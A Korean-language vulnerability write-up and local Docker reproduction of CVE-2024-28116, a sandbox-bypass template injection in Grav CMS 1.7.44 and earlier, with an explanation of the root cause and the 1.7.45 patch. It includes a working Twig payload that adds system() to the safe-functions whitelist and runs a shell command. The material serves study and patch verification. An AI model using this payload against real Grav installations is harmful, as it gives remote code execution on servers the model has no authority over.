
CVE-2024-28116 분석 및 Docker 재현 - Grav CMS의 샌드박스 우회 SSTI
Grav CMS 1.7.44 이하 버전에서 발생하며 1.7.45 버전에서 수정된, 보안 샌드박스 우회가 가능한 서버 측 템플릿 주입(SSTI) 취약점인 CVE-2024-28116에 대한 분석 및 Docker 재현 자료입니다.
제보자: Maurizio Siddu (akabe1)
CVSS v3.1 점수: 8.8 (High)
패치 버전: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
브라우저에서 http://localhost:8080/admin에 접속한 후, 첫 접속 시 관리자 계정을 생성합니다.
http://localhost:8080/admin에서 편집자로 로그인합니다test page로 설정하고 Continue를 클릭합니다{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-page에 접속합니다이는 웹 서버 사용자 권한으로의 원격 코드 실행(RCE)을 확인해 줍니다.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
브라우저에서 http://localhost:8081/admin에 접속하여 위의 모든 익스플로잇 단계를 http://localhost:8081/test-page를 대상으로 반복합니다.
페이지는 완전히 비어 있는 상태로 표시됩니다. Security.php의 cleanDangerousTwig() 메서드가 twig.safe_functions 지시어를 Twig 엔진에 전달되기 전에 감지하여 차단합니다. 화이트리스트는 절대 수정되지 않으며 명령도 실행되지 않습니다.
취약점은 system/src/Grav/Common/Twig.php에 위치합니다. Grav는 isDangerousFunction()이 확인하는 블랙리스트를 기반으로 Twig 템플릿 내부에서 위험한 PHP 함수가 호출되는 것을 방지하는 샌드박스를 구현합니다. 그러나 샌드박스는 Twig 객체 자체를 보호하지 않습니다. 편집자 권한의 사용자는 조작된 템플릿 지시어를 통해 Twig 객체와 상호 작용하여 런타임에 system.twig.safe_functions 화이트리스트를 덮어쓸 수 있습니다. system()과 같은 위험한 함수가 화이트리스트에 추가되면 샌드박스 검사가 우회되고 해당 함수가 자유롭게 실행됩니다.
패치는 system/src/Grav/Common/Security.php의 cleanDangerousTwig() 메서드 내부 차단 패턴 목록에 'twig.safe_functions'를 추가합니다. 이 문자열을 포함하는 모든 지시어는 Twig 엔진에 도달하기 전에 무력화되므로, 편집자가 템플릿 내부에서 화이트리스트를 수정하는 것이 불가능해집니다.